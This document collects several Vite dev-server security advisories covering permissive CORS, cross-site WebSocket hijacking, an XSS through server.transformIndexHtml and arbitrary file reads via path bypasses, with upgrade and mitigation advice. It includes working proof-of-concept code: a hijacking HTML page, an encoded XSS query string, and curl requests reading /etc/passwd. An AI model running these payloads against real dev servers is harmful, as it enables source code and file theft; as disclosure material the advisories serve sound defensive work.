Summary Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.

[!WARNING] This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.

Upgrade Path Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.

- Using the backend integration feature - Using a reverse proxy in front of Vite - Accessing the development server via a domain other than localhost or .localhost - Using a plugin / framework that connects to the WebSocket server on their own from the browser

Using the backend integration feature If you are using the backend integration feature and not setting server.origin, you need to add the origin of the backend server to the server.cors.origin option. Make sure to set a specific origin rather than , otherwise any origin can access your development server.

Using a reverse proxy in front of Vite If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than localhost or .localhost, you need to add the hostname to the new server.allowedHosts option. For example, if the reverse proxy is sending requests to http://vite:5173, you need to add vite to the server.allowedHosts option.

Accessing the development server via a domain other than localhost or .localhost You need to add the hostname to the new server.allowedHosts option. For example, if you are accessing the development server via http://foo.example.com:8080, you need to add foo.example.com to the server.allowedHosts option.

Using a plugin / framework that connects to the WebSocket server on their own from the browser If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.

In that case, you can either:

- fix the plugin / framework code to the make it compatible with the new version of Vite - set legacy.skipWebSocketTokenCheck: true to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite - When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.

Mitigation without upgrading Vite [1]: Permissive default CORS settings Set server.cors to false or limit server.cors.origin to trusted origins.

[2]: Lack of validation on the Origin header for WebSocket connections There aren't any mitigations for this.

[3]: Lack of validation on the Host header for HTTP requests Use Chrome 94+ or use HTTPS for the development server.

Details

There are three causes that allowed malicious websites to send any requests to the development server:

[1]: Permissive default CORS settings

Vite sets the Access-Control-Allow-Origin header depending on server.cors option. The default value was true which sets Access-Control-Allow-Origin: . This allows websites on any origin to fetch contents served on the development server.

Attack scenario:

1. The attacker serves a malicious web page (http://malicious.example.com). 2. The user accesses the malicious web page. 3. The attacker sends a fetch('http://127.0.0.1:5173/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above. 4. The attacker gets the content of http://127.0.0.1:5173/main.js.

[2]: Lack of validation on the Origin header for WebSocket connections

Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.

Attack scenario:

1. The attacker serves a malicious web page (http://malicious.example.com). 2. The user accesses the malicious web page. 3. The attacker runs new WebSocket('http://127.0.0.1:5173', 'vite-hmr') by JS in that malicious web page. 4. The user edits some files. 5. Vite sends some HMR messages over WebSocket. 6. The attacker gets the content of the HMR messages.

[3]: Lack of validation on the Host header for HTTP requests

Unless server.https is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.

1. The attacker serves a malicious web page that is served on HTTP (http://malicious.example.com:5173) (HTTPS won't work). 2. The user accesses the malicious web page. 3. The attacker changes the DNS to point to 127.0.0.1 (or other private addresses). 4. The attacker sends a fetch('/main.js') request by JS in that malicious web page. 5. The attacker gets the content of http://127.0.0.1:5173/main.js bypassing the same origin policy.

Impact [1]: Permissive default CORS settings Users with the default server.cors option may:

- get the source code stolen by malicious websites - give the attacker access to functionalities that are not supposed to be exposed externally - Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

[2]: Lack of validation on the Origin header for WebSocket connections All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.

For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.

For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.

[3]: Lack of validation on the Host header for HTTP requests Users using HTTP for the development server and using a browser that is not Chrome 94+ may:

- get the source code stolen by malicious websites - give the attacker access to functionalities that are not supposed to be exposed externally - Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.

Related Information Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.

PoC [2]: Lack of validation on the Origin header for WebSocket connections 1. I used the react template which utilizes HMR functionality.

npm create vite@latest my-vue-app-react -- --template react

2. Then on a malicious server, serve the following POC html: html <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>vite CSWSH</title> </head> <body> <div id="logs"></div> <script> const div = document.querySelectorAll('#logs')[0]; const ws = new WebSocket('ws://localhost:5173','vite-hmr'); ws.onmessage = event => { const logLine = document.createElement('p'); logLine.innerHTML = event.data; div.append(logLine); }; </script> </body> </html>

3. Kick off Vite

npm run dev

4. Load the development server (open http://localhost:5173/) as well as the malicious page in the browser. 5. Edit src/App.jsx file and intentionally place a syntax error 6. Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed

Here's a video demonstrating the POC:

https://github.com/user-attachments/assets/a4ad05cd-0b34-461c-9ff6-d7c8663d6961

Summary When Vite's HTML transformation is invoked manually via server.transformIndexHtml, the original request URL is passed in unmodified, and the html being transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string to server.transformIndexHtml.

Impact Only apps using appType: 'custom' and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.

Patches Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12

Details Suppose index.html contains an inline module script:

html <script type="module"> // Inline script </script>

This script is transformed into a proxy script like

html <script type="module" src="/index.html?html-proxy&index=0.js"></script>

due to Vite's HTML plugin:

https://github.com/vitejs/vite/blob/7fd7c6cebfcad34ae7021ebee28f97b1f28ef3f3/packages/vite/src/node/plugins/html.ts#L429-L465

When appType: 'spa' | 'mpa', Vite serves HTML itself, and htmlFallbackMiddleware rewrites req.url to the canonical path of index.html,

https://github.com/vitejs/vite/blob/73ef074b80fa7252e0c46a37a2c94ba8cba46504/packages/vite/src/node/server/middlewares/htmlFallback.ts#L44-L47

so the url passed to server.transformIndexHtml is /index.html.

However, if appType: 'custom', HTML is served manually, and if server.transformIndexHtml is called with the unmodified request URL (as the SSR docs suggest), then the path of the transformed html-proxy script varies with the request URL. For example, a request with path / produces

html <script type="module" src="/@id/x00/index.html?html-proxy&index=0.js"></script>

It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like

"></script><script>alert('boom')</script>

so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like

html <script type="module" src="/@id/x00/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>

which demonstrates XSS.

PoC

- Example 1. Serving HTML from vite dev middleware with appType: 'custom' - Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev-html - "Open in New Tab" - Edit URL to set query string to ?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E and navigate - Witness XSS: - !image - Example 2. Serving HTML from SSR-style Express server (Vite dev server runs in middleware mode): - Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=server - (Same steps as above) - Example 3. Plain vite dev (this shows that vanilla vite dev is not vulnerable, provided htmlFallbackMiddleware is used) - Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev - (Same steps as above) - You should not see the alert box in this case

Detailed Impact

This will probably predominantly affect development-mode SSR, where vite.transformHtml is called using the original req.url, per the docs:

https://github.com/vitejs/vite/blob/7fd7c6cebfcad34ae7021ebee28f97b1f28ef3f3/docs/guide/ssr.md?plain=1#L114-L126

However, since this vulnerability affects server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls to server.transformIndexHtml from outside of Vite's own codebase.

My best guess at bisecting which versions are vulnerable involves the following test script

js import fs from 'node:fs/promises'; import as vite from 'vite';

const html = <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> </head> <body> <script type="module"> // Inline script </script> </body> </html> ; const server = await vite.createServer({ appType: 'custom' }); const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html); console.log(transformed); await server.close();

and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

.svg

Requests ending with .svg are loaded at this line. https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290 By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC

bash npm create vite@latest cd vite-project/ npm install npm run dev

send request to read etc/passwd

bash curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'

bash curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

Summary The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.

Impact Only apps with the following conditions are affected.

- explicitly exposing the Vite dev server to the network (using --host or server.host config option) - running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)

Details

HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).

On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check.

On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url did not contain #.

PoC npm create vite@latest cd vite-project/ npm install npm run dev send request to read /etc/passwd curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173

Vite before v2.9.13 was discovered to allow attackers to perform a directory traversal via a crafted URL to the victim's service.